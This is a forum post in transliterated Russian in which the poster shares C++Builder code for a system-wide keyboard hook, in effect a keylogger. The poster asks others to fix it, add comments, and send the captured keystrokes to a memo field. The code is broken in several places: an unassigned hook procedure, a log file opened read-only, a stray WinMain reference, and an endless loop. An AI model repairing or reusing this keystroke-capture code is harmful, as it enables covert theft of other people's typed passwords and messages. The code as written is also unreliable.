ispravte please..

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include <iostream.h>

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
WinMain;
}

HHOOK hook;


WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{

typedef int (CALLBACK* lpfn)();
lpfn hookfunc;
hook=SetWindowsHookEx(WH_KEYBOARD,hookfunc,LoadLibrary("dllhook.dll"),0);
while(1) {};

}

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

FILE *f;
if((f=fopen("log.txt","r"))!=NULL)
{
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}
return CallNextHookEx(NULL, code, wParam, lParam);

}


kompiliruetsya no nicherta ni rabotaet... ja sam ne vrubilsya v chom tam delo... ispravte pajaluista i esli mojete pripishite komment... mne noebxodimo chtom log pisalsja v memo a ne v fail... zaranee balshoe spasibo